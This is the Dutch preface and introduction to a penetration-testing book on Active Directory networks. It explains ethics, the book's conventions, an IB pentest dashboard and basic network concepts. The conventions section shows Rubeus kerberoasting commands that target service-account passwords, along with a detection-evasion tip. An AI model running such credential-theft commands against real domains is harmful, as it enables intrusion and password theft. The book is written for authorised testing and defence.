Voorwoord

Er is een merkwaardig verschil tussen hoe mensen denken over beveiliging en hoe beveiliging werkelijk functioneert. Vraag een willekeurige directeur hoe het met de IT-beveiliging van zijn bedrijf staat, en hij zal je vol vertrouwen vertellen dat alles onder controle is. Er is een firewall. Er is antivirussoftware. Er is een wachtwoordbeleid – dat, als je even doorvraagt, erop neerkomt dat iedereen om de drie maanden een uitroepteken achter zijn bestaande wachtwoord plakt. Alles is geregeld.

Vraag vervolgens een penetratietester hoe het staat met de beveiliging van datzelfde bedrijf, en je krijgt een heel ander verhaal. Een verhaal over Domain Admins die bereikbaar zijn via een keten van drie klikken. Over service accounts met wachtwoorden die al zes jaar niet zijn gewijzigd. Over netwerksegmentatie die in de architectuurtekening prachtig eruitziet, maar in de praktijk net zo effectief is als een hordeur op een onderzeeboot.

Dit boek gaat over dat tweede verhaal.

Het is een verhaal dat zich keer op keer herhaalt, in elke organisatie, in elke sector, in elk land. De details verschillen – hier is het een vergeten admin-account, daar een misconfigureerde Group Policy, elders een ADCS-template die certificaten uitgeeft aan wie erom vraagt – maar het patroon is altijd hetzelfde. De verdediging is opgebouwd rond aannames die niet kloppen, en de aanvaller hoeft alleen maar die aannames te vinden.

Waarom dit boek

“Incompetent Bastards: Het Netwerk” is het tweede deel in een serie over penetratietesten. Waar het eerste boek – “De Webapplicatie” – zich richtte op de kwetsbaarheden in webapplicaties, gaat dit boek over het hart van de onderneming: het interne netwerk.

En dat hart, laten we eerlijk zijn, is bijna altijd een Active Directory-omgeving.

Active Directory is een van die technologieen die bijna elk bedrijf ter wereld gebruikt en bijna niemand werkelijk begrijpt. Het is het besturingssysteem van het bedrijfsnetwerk, het telefoonboek van de organisatie, en de sleutelbos van elke medewerker – allemaal tegelijk. Het werd ontworpen in een tijdperk waarin “beveiliging” betekende dat je de serverkast op slot deed, en het sleept die erfenis met zich mee als een middeleeuwse stad die nog steeds haar rioolsysteem uit de veertiende eeuw gebruikt.

Microsoft introduceerde Active Directory in 1999, samen met Windows 2000 Server. Het was een ambitieuze poging om het chaotische landschap van Windows NT-domeinen te vervangen door iets gestructureerds – iets met een hierarchie, met beleid, met vertrouwensrelaties die je kon tekenen op een whiteboard. En het werkte. Het werkte zo goed dat vijfentwintig jaar later nog steeds meer dan negentig procent van de Fortune 500-bedrijven het gebruikt. Het probleem is alleen dat de dreigingsmodellen van 1999 er fundamenteel anders uitzagen dan die van nu. In 1999 was de aanvaller iemand die fysiek toegang had tot het gebouw. In 2026 is de aanvaller iemand die vanuit zijn slaapkamer in een ander continent een phishing-mail stuurt en drie uur later Domain Admin is.

Dit boek leert je hoe je dat netwerk systematisch test. Niet om schade aan te richten, maar om de gaten te vinden voordat iemand anders dat doet. Want geloof me: iemand anders is altijd aan het zoeken.

Het boek volgt het pad dat een echte aanvaller zou nemen: van de eerste verkenning van het netwerk, via de eerste exploitatie, door het web van vertrouwensrelaties en misconfiguraties dat elk Active Directory-netwerk doorkruist, tot aan het moment dat je de kroonjuwelen in handen hebt – de ntds.dit, de Golden Ticket, de volledige controle. Elke stap wordt uitgelegd, gedemonstreerd, en voorzien van de verdedigingsmaatregelen die het hadden kunnen voorkomen.

Want dat is uiteindelijk het doel. Niet de aanval. De verdediging die eruit voortkomt.

De ethische grens

Laten we een ding glashelder maken, want dit is geen voetnoot en geen bijzaak.

Alles in dit boek is uitsluitend bedoeld voor gebruik in geautoriseerde penetratietesten. Dat wil zeggen: je hebt schriftelijke toestemming van de eigenaar van het netwerk. Je hebt een scope-document dat expliciet beschrijft welke systemen, netwerken en methoden binnen bereik vallen. Je hebt een noodprocedure voor als er iets misgaat. Je hebt telefoonnummers van mensen die op zondag om drie uur ’s nachts opnemen als je per ongeluk een productiedatabase hebt platgelegd.

Zonder die toestemming ben je geen penetratietester. Dan ben je een crimineel. En het verschil is niet het gereedschap dat je gebruikt – het is dat ene document met handtekeningen.

Dit is geen juridische formaliteit. In Nederland valt ongeautoriseerde toegang tot computersystemen onder artikel 138ab van het Wetboek van Strafrecht, met een maximale gevangenisstraf van vier jaar. In Belgie is dat artikel 550bis. De meeste andere landen hebben vergelijkbare wetgeving. “Ik wilde alleen kijken of het kwetsbaar was” is geen verdediging. “Ik deed het voor de wetenschap” ook niet.

De technieken in dit boek zijn krachtig. Een Golden Ticket geeft je onbeperkte toegang tot een heel Active Directory-domein. DCSync laat je alle wachtwoord-hashes van een organisatie downloaden. Kerberoasting kraakt service-account-wachtwoorden offline, zonder dat een IDS ook maar een wimper beweegt. Een ADCS ESC1-aanval geeft je een certificaat waarmee je je kunt voordoen als elke gebruiker in het domein. Dit zijn de technieken die echte aanvallers gebruiken, en het is precies daarom dat verdedigers ze moeten begrijpen.

Een goede penetratietest begint met een gesprek, niet met een exploit. Je spreekt de scope door, je definieert de regels van engagement, je stelt vast wat er gebeurt als je iets breekt, en je zorgt ervoor dat er aan beide kanten mensen zijn die weten wat er gaat gebeuren. Pas daarna open je een terminal.

Gebruik deze technieken verantwoord. Of gebruik ze niet.

Voor wie is dit boek

Dit boek is geschreven voor mensen die netwerken willen leren testen. Dat kan een junior penetratietester zijn die van webapplicaties naar netwerkpentesten wil doorgroeien. Het kan een systeembeheerder zijn die wil begrijpen hoe aanvallers denken, zodat hij zijn eigen netwerk beter kan verdedigen. Het kan een security consultant zijn die zijn arsenaal wil uitbreiden.

Wat we verwachten: een basiskennis van netwerken (je weet wat een IP-adres is, je weet wat TCP doet, je hebt weleens een terminal geopend). Enige ervaring met Linux. Een bereidheid om te leren door te doen, want dit is geen boek om passief door te lezen – het is een boek om naast je toetsenbord te leggen.

Wat we niet verwachten: dat je een expert bent. De nieuwsgierige stem in dit boek stelt de vragen die een beginner zou stellen. De cynische stem voegt de context toe die een ervaren penetratietester herkent. Waar je ook zit op dat spectrum, er is iets voor je.

Een kanttekening: dit boek is geen certificeringsgids. Het bereidt je niet voor op het OSCP, het CRTP, of een andere afkorting uit het alfabet-soep-universum van beveiligingscertificeringen. Wat het wel doet, is je de kennis en de context geven die je nodig hebt om die certificeringen te begrijpen, niet alleen te halen. Er is een verschil, en het verschil is belangrijk.

Twee perspectieven

Dit boek is geschreven vanuit twee perspectieven die elkaar afwisselen, soms binnen dezelfde alinea.

De eerste stem is die van de nieuwsgierige reiziger – de man die voor het eerst een Active Directory-forest betreedt en zich afvraagt waarom het zo heet, wie het heeft bedacht, en waarom trusts in twee richtingen werken terwijl eenrichtingsverkeer zoveel veiliger zou zijn. Deze stem verkent, legt uit, trekt vergelijkingen met de gewone wereld, en probeert van een onderwerp dat inherent droog is iets te maken dat je zou willen lezen op een regenachtige zondagmiddag. Deze stem stelt vragen als: “Wie heeft eigenlijk besloten dat NTLM-hashes onderling uitwisselbaar moesten zijn?”

De tweede stem is die van de cynicus – de stem die niet kan geloven dat we in het jaar 2026 nog steeds wachtwoorden als Welcome01! tegenkomen op domain admin accounts. Die stem wijst op de absurditeit van een beveiligingsindustrie die miljoenen uitgeeft aan next-generation AI-powered threat detection platforms, terwijl de Domain Admins groep achttien leden telt waarvan er veertien er nooit in hadden mogen zitten. Die stem is niet boos. Die stem is teleurgesteld. En soms – heel soms – geamuseerd.

Samen vormen ze, hopen we, een boek dat zowel informatief als leesbaar is. De nieuwsgierige stem verkent het waarom. De cynische stem beschrijft het hoe het echt is. En samen komen ze uit bij het wat je eraan kunt doen.

Leesconventies

Door het hele boek heen gebruiken we een aantal vaste conventies. Het is handig om ze nu te kennen, zodat je later niet terughoeft te bladeren.

Code en commando’s staan in code blocks met syntax highlighting waar relevant:

# Kerberoast -- service account wachtwoorden kraken
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /user:svcadmin /simple

Commando’s die op de aanvalsmachine (Linux/Kali) worden uitgevoerd beginnen doorgaans met $ of staan in een bash-codeblock. Commando’s die op een Windows-doelsysteem worden uitgevoerd staan in een powershell- of cmd-codeblock. Het onderscheid is belangrijk – een commando op de verkeerde machine uitvoeren levert in het beste geval een foutmelding op en in het slechtste geval een onverklaarbare situatie.

IB Tips zijn praktische tips die verwijzen naar het Incompetent Bastard-dashboard en staan in blockquotes:

IB Tip: Gebruik de Command Library om snel Kerberoast-commando’s te laden. Zoek op kerb_kerberoast in het Commands-paneel. Het commando bevat meerdere methoden inclusief de RC4 opsec-variant die encryption downgrade-detectie vermijdt.

Waarschuwingen voor technieken met een hoog risico op detectie of verstoring staan eveneens in blockquotes, maar met een ander prefix:

Let op: DCSync genereert Directory Replication Service-verkeer dat door geavanceerde SIEM-regels kan worden gedetecteerd. Gebruik deze techniek alleen als de scope het toelaat en het risico op detectie acceptabel is.

Referentietabellen vatten aan het einde van elk hoofdstuk de behandelde technieken samen, inclusief MITRE ATT&CK-mappings en relevante IB-commando’s. Deze tabellen zijn bedoeld als snel naslagwerk – ze bevatten de essentie, niet de uitleg.

Placeholder-waarden in commando’s worden aangegeven met hoofdletters of vierkante haken: TARGET_IP, DOMAIN\user, [host]. In IB worden placeholders als [host] automatisch vervangen door het geconfigureerde IP-adres.

Technische termen worden in het Engels gehouden wanneer vertaling de betekenis vertroebelt. We schrijven “Domain Controller” en niet “domeincontroller”, “trust” en niet “vertrouwensrelatie”, “hash” en niet “samenvatting”. De Nederlandse taal is een prachtig instrument, maar sommige dingen klinken er gewoon belachelijk in. Een “vertrouwensrelatie tussen bossen” klinkt als een sprookje, niet als een Active Directory-concept.

Output en resultaten van commando’s worden weergegeven in genummerde of gemarkeerde blokken wanneer we willen laten zien wat je kunt verwachten:

[*] Enumerating Target Domain...
[*] Found 3 Kerberoastable users
[*] SPN: MSSQLSvc/sql01.lab.local:1433 | User: svc_sql
[*] SPN: HTTP/web01.lab.local | User: svc_iis
[*] SPN: CIFS/file01.lab.local | User: svc_backup

Verdedigingsmaatregelen worden aan het einde van relevante secties beschreven. We vertellen niet alleen hoe je aanvalt – we vertellen ook hoe je verdedigt. Omdat het hele punt van dit boek is om netwerken veiliger te maken, niet om ze te breken.

MITRE ATT&CK-referenties worden per techniek vermeld met hun technique ID (bijvoorbeeld T1558.003). In de referentietabellen aan het einde van elk hoofdstuk vind je een volledige mapping van alle behandelde technieken naar het ATT&CK-framework.

Nederlandse en Engelse termen: Waar een term voor het eerst wordt geintroduceerd, geven we zowel de Engelse term als een korte Nederlandse uitleg. Daarna gebruiken we consequent de Engelse term. Dit sluit aan bij hoe penetratiesters in de praktijk communiceren – in een mix van Nederlands en Engels die buitenstaanders doet fronsen, maar die in het vak volkomen normaal is.

Het zusterboek

“Incompetent Bastards: De Webapplicatie” behandelt de wereld van webapplicatiebeveiliging: SQL injection, Cross-Site Scripting, Server-Side Request Forgery, en alles wat daartussen zit. Dat boek richt zich op de applicatielaag – de plekken waar een browser praat met een server en waar invoer wordt vertrouwd die nooit vertrouwd had mogen worden.

Dit boek begint waar het zusterboek ophoudt. Soms kom je via een webapplicatie het netwerk binnen – een SQL injection die uitmondt in xp_cmdshell, een SSRF die cloud metadata lekt, een upload-functie die een webshell accepteert. Maar zodra je die eerste voet binnen de deur hebt, betreed je een compleet ander landschap. Een landschap van Kerberos-tickets, NTLM-hashes, Group Policy Objects, en service accounts die al sinds de Windows Server 2008-migratie ongewijzigd zijn.

Waar nodig verwijzen we naar “De Webapplicatie” voor web-specifieke technieken. De Command Library in IB weerspiegelt deze tweedeling: commando’s met het web_-prefix behandelen webapplicatietechnieken uit het eerste boek, terwijl commando’s met prefixes als ad_, kerb_, lateral_, en persist_ de netwerktechnieken uit dit boek bestrijken.

De twee boeken zijn complementair, maar onafhankelijk leesbaar.

Het gereedschap

Door het hele boek gebruiken we Incompetent Bastard (IB) – een Flask-gebaseerd security assessment dashboard dat speciaal is gebouwd voor penetratietesten. IB combineert een Command Library van 194 commando’s, vijf interactieve web labs, acht payload generators, een Task Runner voor geautomatiseerde taken, een Screen Terminal, en een compleet Findings Management-systeem met CVSS 4.0-scoring en rapportgeneratie.

IB is geen vervanging voor je gereedschapskist – het is de werkbank waarop je je gereedschap legt. Het geeft je snel toegang tot de commando’s die je nodig hebt, houdt je bevindingen bij terwijl je werkt, en genereert aan het einde een rapport dat je niet hoeft te schamen wanneer je het aan de opdrachtgever overhandigt.

De architectuur van IB is bewust eenvoudig gehouden. Het is een Flask-applicatie met SQLite als database, ontworpen om lokaal te draaien op je aanvalsmachine. Geen cloud, geen account, geen telemetrie. Alles blijft op jouw systeem, waar het hoort. De broncode is leesbaar en aanpasbaar – als je een commando mist, voeg je een bestand toe aan http/commands/ en het verschijnt automatisch in de bibliotheek. Als je een finding template nodig hebt, importeer je hem via JSON.

De componenten van IB in een notendop:

• Dashboard (/dashboard) – Het commandocentrum. Overzicht van hooked clients, verzamelde data, nmap-resultaten, en snelle toegang tot alle onderdelen.
• Command Library (194 bestanden in http/commands/) – Elk bestand bevat kopieerbare commando’s voor een specifieke techniek, van ad_bloodhound_collect tot web_xxe_payloads.
• Task Runner (/dashboard/tasks) – Voorgedefinieerde taken met strict gevalideerde argumenten. Recon, brute force, exploit, tunneling – allemaal vanuit de browser.
• Web Labs – XSS tracking, XXE out-of-band, CSRF injection, SQL injection, SSRF redirect. Vijf labs voor hands-on oefening.
• Payload Generators – Genereer reverse shells, meterpreter-payloads, Office-macro’s, en ASPX-shells afgestemd op je engagement.
• Findings Management (/dashboard/findings) – Bevindingen vastleggen met OWASP Top 10, CWE, MITRE ATT&CK, en CVSS 4.0. Import en export via JSON.
• Report Generation – Automatische rapportgeneratie van LaTeX naar Markdown via pandoc. Nederlands- en Engelstalige output.
• Screen Terminal (/dashboard/recordings) – Beheer van langlopende screen-sessies voor VPN, Empire, en andere achtergrondprocessen.

IB is gebouwd door pentesters, voor pentesters. Het is niet mooi. Het is functioneel. En in dit vak is functioneel alles wat telt.

In hoofdstuk 1 behandelen we de installatie en configuratie van IB. Daarna is het een constante metgezel.

Hoe dit boek te lezen

Je kunt dit boek op twee manieren lezen.

De eerste manier is lineair: begin bij hoofdstuk 1, volg het pad van reconnaissance tot rapportage, en doe de oefeningen in je lab terwijl je leest. Dit is de aanbevolen aanpak voor wie nieuw is in netwerkpentesting. Elk hoofdstuk bouwt voort op het vorige, en de technieken worden steeds geavanceerder naarmate je vordert.

De tweede manier is als naslagwerk: je zit midden in een engagement, je hebt toegang tot een systeem met een SPN-geregistreerd service account, en je wilt snel de Kerberoast-procedure opzoeken. Blader naar het relevante hoofdstuk, zoek de techniek, kopieer het commando. De referentietabellen aan het einde van elk hoofdstuk helpen je snel te navigeren.

Beide manieren zijn geldig. Beide zijn bedoeld. Gebruik wat werkt.

Een derde manier – en we raden die af, maar we weten dat het gebeurt – is dit boek als inspiratie te gebruiken om dingen uit te proberen zonder het hele verhaal te lezen. Als je dat doet, lees dan in ieder geval het voorwoord en de disclaimers. En zorg ervoor dat je een lab hebt. Altijd een lab. Nooit een productieomgeving. We zeggen het nog een keer: nooit een productieomgeving.

De structuur van het boek

Dit boek volgt ruwweg het pad van een netwerkpenetratietest, van de eerste scan tot het eindrapport. De hoofdstukken zijn zo geordend dat elk hoofdstuk voortbouwt op wat ervoor kwam, maar ze zijn ook afzonderlijk leesbaar als referentie.

We beginnen met de basis: netwerken, protocollen, Active Directory, het lab. Vervolgens lopen we door de fases van een pentest: reconnaissance, initial access, escalatie, laterale beweging, persistentie. We eindigen met rapportage – het deel dat niemand leuk vindt maar dat uiteindelijk het enige is wat de opdrachtgever ziet.

Elk hoofdstuk bevat: - Theorie en achtergrond (de verhalende stem) - Praktische technieken met commando’s (de technische kern) - Cynisch commentaar over de stand van zaken (het scherpe intermezzo) - IB Tips die verwijzen naar het dashboard - Verdedigingsmaatregelen - Een referentietabel

Dankwoord

Dank aan iedereen die aan de Incompetent Bastard-codebase heeft bijgedragen. Aan de pentesters die de commando’s in het veld hebben getest en teruggekomen zijn met opmerkingen als “dit werkt niet op Server 2019” en “je mist een backslash in regel 4”. Aan de mensen die de standaard-findings hebben geschreven en herschreven tot ze zowel technisch accuraat als begrijpelijk waren voor een niet-technische opdrachtgever. Aan degenen die de CVSS 4.0-calculator hebben geimplementeerd en vervolgens ontdekten dat CVSS 4.0 elf base metrics heeft in plaats van acht, en dat allemaal hebben herschreven zonder te klagen. Nou ja. Zonder veel te klagen.

Aan de open-source-community die gereedschappen als BloodHound, Rubeus, Mimikatz, Impacket, CrackMapExec en Certipy beschikbaar heeft gesteld. Zonder hen zou penetratietesten een stuk lastiger zijn, en een stuk minder interessant. Jullie werk maakt het verschil tussen een pentest die weken duurt en een pentest die inzichten oplevert.

Aan de makers van nmap, dat al meer dan vijfentwintig jaar het eerste gereedschap is dat elke penetratietester opstart. Aan de ontwikkelaars van Kali Linux en ParrotOS, die het mogelijk maken om met een enkele ISO een complete aanvalsomgeving op te zetten. Aan de auteurs van de MITRE ATT&CK-matrix, die ons een gemeenschappelijke taal hebben gegeven.

En aan iedereen die ooit een netwerk heeft geconfigureerd met de gedachte “dit fixen we later wel” – jullie houden ons in werk. Elke keer dat een systeembeheerder zegt “we hebben het altijd al zo gedaan”, voegt een penetratietester ergens een finding toe aan zijn rapport.

En als laatste: aan de lezers van het eerste boek die ons hebben geschreven met vragen, correcties en suggesties. Jullie feedback heeft dit tweede boek beter gemaakt dan het zonder jullie zou zijn geweest.

Speciaal dank aan de klanten die ons toestonden om (geanonimiseerde) voorbeelden uit echte engagements te gebruiken als illustratie. De namen zijn veranderd, de IP-adressen zijn fictief, maar de patronen zijn echt. Het zijn patronen die we keer op keer tegenkomen, in organisaties van elke omvang en in elke sector.

Dit boek is opgedragen aan iedereen die beveiliging serieus neemt – niet door er geld aan uit te geven, maar door er tijd in te steken. Door te begrijpen hoe hun netwerk werkt. Door te luisteren naar de mensen die het testen. Door de bevindingen niet in een la te leggen maar daadwerkelijk te implementeren.

Jullie zijn zeldzaam. Maar jullie bestaan. En voor jullie schrijven we.

Veel plezier. En vergeet niet: altijd met toestemming.

– Jan-Karel Visser, Kropswolde, 2026

Inleiding

Van ARPANET tot Active Directory: een beknopte geschiedenis van het computernetwerk

Op 29 oktober 1969 verstuurde een student aan UCLA het eerste bericht over ARPANET. Het bericht was “LOGIN”. Het systeem crashte na de letters “LO”. Het was, achteraf bezien, een passende start voor een technologie die de komende vijftig jaar zou worden geplaagd door onverwachte uitval en onbegrepen foutmeldingen.

Wat begon als een experiment van het Amerikaanse ministerie van Defensie – een netwerk dat een nucleaire aanval zou overleven, al is dat verhaal grotendeels mythe – groeide uit tot iets dat geen van de oorspronkelijke ontwerpers had voorzien. Het internet, en in het verlengde daarvan het moderne bedrijfsnetwerk, werd gebouwd op vertrouwen. De protocollen die het fundament vormen – TCP/IP, DNS, ARP – zijn ontworpen in een tijd waarin iedereen op het netwerk een onderzoeker was aan een universiteit, en “beveiliging” een concept was dat hoorde bij sloten en sleutels, niet bij pakketten en poorten.

Dat vertrouwen is nooit werkelijk weggehaald. Het is ingepakt, verhuld, omgeven door lagen van firewalls en encryptie, maar het zit er nog steeds. Als je diep genoeg graaft in elk bedrijfsnetwerk, vind je protocollen die aannemen dat wie een pakket verstuurt ook degene is die hij zegt te zijn. En het is precies in die aanname dat penetratiesters hun werk beginnen.

In de jaren tachtig kwamen de eerste bedrijfsnetwerken. Novell NetWare, Banyan VINES, en later Windows NT – systemen die kantoren verbonden en het mogelijk maakten om bestanden te delen, printers te gebruiken, en e-mail te versturen. Het waren gesloten systemen, afgesloten van de buitenwereld, en beveiliging was een kwestie van fysieke toegang. Als je in het gebouw kon komen, kon je bij het netwerk. Zo simpel was het.

Toen kwam het internet. En plotseling moesten die gesloten netwerken verbonden worden met een systeem dat van nature open was. De oplossing was de firewall – een apparaat dat als een poortwachter fungeerde tussen het interne netwerk en het internet. Het was een elegante oplossing voor een probleem dat snel veel ingewikkelder zou worden dan iemand op dat moment voorzag.

Want het probleem met een poortwachter is dat hij alleen werkt als de vijand buiten staat. Zodra iemand eenmaal binnen is – via een gecompromitteerd account, een phishing-link, een kwetsbare webapplicatie, of simpelweg een USB-stick op de parkeerplaats – is de poortwachter irrelevant. En het interne netwerk, dat nooit was ontworpen om vijandig verkeer te weerstaan, ligt open als een boek.

Dat is de wereld waarin we ons nu bevinden. En dat is de wereld die dit boek verkent.

De middeleeuwse stad

Het helpt om een bedrijfsnetwerk te zien als een middeleeuwse stad. Het is een vergelijking die niet perfect is – geen enkele vergelijking is dat – maar ze maakt veel dingen duidelijk die anders abstract blijven.

De buitenmuur is de firewall. Ze scheidt de stad van de buitenwereld en bepaalt wie er binnenkomt en wie niet. In de middeleeuwen waren er poorten met bewakers; in een netwerk zijn er regels die verkeer toelaten op basis van poort, protocol en bron-IP. En net als bij een middeleeuwse stad geldt: als je eenmaal binnen de muur bent, wordt het aanzienlijk eenvoudiger.

De wijken zijn de netwerksegmenten – VLANs, subnets, zones. De ambachtslieden zitten bij elkaar, de kooplieden hebben hun eigen straat, en het garnizoen heeft zijn eigen terrein. In theorie. In de praktijk hebben de meeste bedrijfsnetwerken een segmentatie die lijkt op een stad waar alle muren tussen de wijken zijn afgebroken omdat het makkelijker was om er doorheen te lopen.

De marktplaats is het kantoornetwerk – de plek waar iedereen samenkomt, waar informatie wordt uitgewisseld, en waar je als buitenstaander het meest kunt oppikken door simpelweg rond te lopen en te luisteren. In netwerkterminologie: de plek waar broadcast traffic vrij rondvliegt.

En in het midden van de stad staat het kasteel: de Domain Controller. De plek waar de kroon wordt bewaard, waar de bevolkingsregisters liggen, en waar de sleutels van elke deur in de stad hangen. Wie het kasteel bezit, bezit de stad. In Active Directory-termen: wie Domain Admin is, is God.

De gracht rond het kasteel? Dat is tiering – als het is geimplementeerd. Spoiler: dat is het bijna nooit.

De herbergen zijn de jump hosts – de plekken waar reizigers (beheerders) overnachten op weg naar het kasteel. In een goed beveiligd netwerk ga je niet rechtstreeks naar de Domain Controller. Je gaat via een jump host, een Privileged Access Workstation, een gecontroleerd toegangspunt. In de praktijk? In de praktijk RDP’t de systeembeheerder rechtstreeks vanaf zijn werkstation naar de DC, met zijn Domain Admin-account, terwijl hij een tabblad open heeft staan met zijn persoonlijke e-mail. De middeleeuwen hadden daar een woord voor: dwaasheid.

En de spionnen? Dat zijn de penetratiesters. Ze komen binnen via een poort die niet goed bewaakt wordt, verkennen de wijken, maken praatjes op de marktplaats, en werken zich langzaam een weg naar het kasteel. Het verschil met echte spionnen is dat wij een rapport achterlaten met aanbevelingen om de verdediging te verbeteren. Echte spionnen laten geen rapport achter.

Anatomie van een netwerk

Voordat je een netwerk kunt testen, moet je begrijpen hoe het in elkaar zit. Niet op het niveau van een netwerkarchitect die RFC’s citeert in zijn slaap, maar op het niveau dat je nodig hebt om te weten wat er gebeurt wanneer je een pakket verstuurt, een naam opzoekt, of een Kerberos-ticket aanvraagt.

Het OSI-model, of: zeven lagen van abstractie

Het Open Systems Interconnection-model is een van die dingen die elke IT-professional kent, weinigen werkelijk begrijpen, en nog minder dagelijks gebruiken. Het verdeelt netwerkcommunicatie in zeven lagen, van de fysieke kabels onderaan tot de applicatie bovenaan.

In de praktijk werken de meeste penetratiesters op laag 3 tot en met 7. Maar vergis je niet: soms begint een aanval op laag 2 – een ARP spoofing-aanval die je in een positie brengt om al het verkeer op een netwerksegment mee te lezen – en soms eindigt een aanval op laag 1, wanneer je fysiek een Raspberry Pi achter een printer prikt die niemand ooit controleert.

Het OSI-model is nuttig als mentaal raamwerk, niet als rigide classificatie. De meeste protocollen houden zich niet netjes aan een enkele laag. DNS zit op laag 7 maar gebruikt UDP op laag 4. SMB zit op laag 7 maar gebruikt NetBIOS-sessies op laag 5. Het leven is rommelig. Netwerken zijn rommelig. Het OSI-model probeert die rommel te ordenen, en slaagt daar gedeeltelijk in.

TCP/IP: de taal van het netwerk

Waar het OSI-model een theoretisch raamwerk is, is TCP/IP het protocol dat daadwerkelijk wordt gebruikt. Het bestaat uit vier lagen die ruwweg op het OSI-model mappen, maar pragmatischer zijn.

IP (Internet Protocol) zorgt voor adressering en routering. Elk apparaat op het netwerk krijgt een IP-adres – in de meeste bedrijfsnetwerken een IPv4-adres uit een privaat bereik zoals 10.0.0.0/8 of 172.16.0.0/12 of 192.168.0.0/16. IP is connectionless en unreliable – het stuurt pakketten de wereld in en hoopt dat ze aankomen. Dat klinkt onverantwoord, en dat is het ook. Het is ook enorm efficient.

TCP (Transmission Control Protocol) voegt betrouwbaarheid toe. Het bouwt een verbinding op via een three-way handshake (SYN, SYN-ACK, ACK), houdt bij of pakketten aankomen, en verstuurt ze opnieuw als dat niet het geval is. Bijna alle diensten die je tijdens een pentest tegenkomt – HTTP, SMB, RDP, SSH – gebruiken TCP.

UDP (User Datagram Protocol) is TCP’s zorgeloze neef. Geen verbinding, geen garantie, geen genade. Maar wel snel. DNS gebruikt UDP voor standaard queries. Kerberos gebruikt UDP voor kleinere berichten. En menig tunneling-techniek maakt gebruik van UDP omdat het minder opvalt in firewall-logs.

DNS (Domain Name System) verdient speciale aandacht, want het is een van de meest onderschatte aanvalsoppervlakken in elk netwerk. DNS vertaalt namen naar IP-adressen – dc01.contoso.local wordt 10.0.0.10 – en in een Active Directory-omgeving is DNS onlosmakelijk verbonden met AD zelf. De Domain Controller is bijna altijd ook de DNS-server. Dat betekent dat DNS-verkeer je enorm veel kan vertellen over de structuur van het netwerk, en dat DNS-misconfiguratiesje soms toegang geven tot informatie die niet voor je bedoeld was.

IB Tip: Het commando recon_dns in de Command Library bevat DNS-enumeratietechnieken inclusief zone transfers, subdomain brute forcing, en reverse lookups. Laad het via het Commands-paneel op het dashboard.

DHCP (Dynamic Host Configuration Protocol) deelt automatisch IP-adressen uit aan apparaten die verbinding maken met het netwerk. Voor een penetratietester is DHCP interessant omdat het je vertelt welk netwerksegment je zit, wat de gateway is, en – cruciaal – wat de DNS-server is. In een AD-omgeving wijst dat bijna altijd naar de Domain Controller.

SMB (Server Message Block) is het protocol voor bestandsdeling in Windows-netwerken. Het draait standaard op poort 445 en is een van de eerste dingen waar een penetratietester naar zoekt. SMB-shares bevatten regelmatig gevoelige bestanden – wachtwoorden in scripts, configuratiebestanden, backup-bestanden van databases. De IB Command Library bevat enumeratiecommando’s voor shares onder enum_shares_files.

RDP (Remote Desktop Protocol) op poort 3389 is de manier waarop beheerders op afstand inloggen op Windows-systemen. Het is ook een populair doelwit voor brute force-aanvallen en credential stuffing. In een netwerk waar RDP open staat op werkstations, heb je als aanvaller een breed aanvalsoppervlak.

LDAP (Lightweight Directory Access Protocol) is het protocol waarmee je Active Directory bevraagt. Poort 389 voor onversleuteld, 636 voor LDAPS. LDAP-queries zijn een van de krachtigste enumeratietechnieken in een AD-omgeving – ze vertellen je alles over gebruikers, groepen, computers, GPOs, trusts en meer.

IB Tip: Het commando ad_enum_ldap_raw in de Command Library bevat LDAP-query technieken voor directe Active Directory-enumeratie zonder afhankelijkheid van Windows-specifieke tools.

Active Directory: het koninkrijk

En dan komen we bij het onderwerp dat dit boek domineert: Active Directory.

Active Directory (AD) is Microsofts directory service, geintroduceerd met Windows 2000 en sindsdien het kloppend hart van bijna elk bedrijfsnetwerk ter wereld. Het is een gecentraliseerde database van gebruikers, computers, groepen, beleid, en permissies. Als je wilt weten wie welke rechten heeft op welke systemen, vraag je het aan Active Directory.

De basisconcepten:

Forest – De hoogste container in AD. Een forest bevat een of meer domains en deelt een gemeenschappelijk schema, configuratie, en Global Catalog. De meeste organisaties hebben een enkel forest. Grote organisaties met overnames hebben er soms meerdere, met trusts ertussen.

Domain – Een logische groepering van objecten (gebruikers, computers, groepen) met een gemeenschappelijk beveiligingsbeleid. Denk aan een koninkrijk binnen het rijk. contoso.local is een domain. eu.contoso.local is een child domain.

Domain Controller (DC) – De server die het kasteel is. De DC beheert authenticatie, autorisatie en replicatie. Het bezit de AD-database (ntds.dit), de kroonjuwelen van het netwerk. Een organisatie heeft doorgaans minstens twee DCs voor redundantie, maar de eerste die je compromitteert is genoeg.

Organizational Units (OUs) – Containers binnen een domain die objecten groeperen voor beheer. Denk aan afdelingen: “IT”, “HR”, “Finance”. OUs zijn de plekken waarop Group Policy Objects (GPOs) worden toegepast.

Group Policy Objects (GPOs) – Beleid dat wordt afgedwongen op gebruikers en computers. GPOs bepalen alles, van wachtwoordvereisten tot welke software wordt geinstalleerd tot of een gebruiker PowerShell mag draaien. Voor een penetratietester zijn GPOs goud, want ze bevatten vaak configuratiefouten die je kunt misbruiken.

Trusts – Relaties tussen domains die authenticatie over domeingrenzen heen mogelijk maken. Een trust kan one-way of two-way zijn, transitive of non-transitive. Trusts zijn een van de meest verkeerd begrepen concepten in AD, en een van de meest misbruikte door aanvallers.

IB Tip: De Command Library bevat een complete set AD-enumeratiecommando’s. Zoek op ad_ voor commando’s zoals ad_enum_ldap_raw, ad_trust_child_to_parent, en ad_trust_cross_forest.

Kerberos – Het authenticatieprotocol dat AD gebruikt. We besteden er in hoofdstuk 5 een volledig hoofdstuk aan, want het is zowel ingenieus als spectaculair misbruikbaar. Kort samengevat: Kerberos werkt met tickets in plaats van wachtwoorden. Je vraagt een Ticket Granting Ticket (TGT) aan bij de Key Distribution Center (KDC, die op de DC draait), en gebruikt dat TGT vervolgens om Service Tickets aan te vragen voor specifieke diensten. Het is elegant. Het is ook lek als een mandje.

NTLM – Het oudere authenticatieprotocol dat weigert te sterven. NTLM-hashes zijn het equivalent van wachtwoorden – als je iemands hash hebt, kun je je authenticeren alsof je die persoon bent (Pass-the-Hash). NTLM zou allang met pensioen moeten zijn. Het is er nog steeds. Microsoft heeft het herhaaldelijk afgekeurd, ontraden, en gedepreceerd, maar het is als die ene collega die al drie keer met pensioen is gegaan en nog steeds elke maandag op kantoor verschijnt: je raakt het niet kwijt.

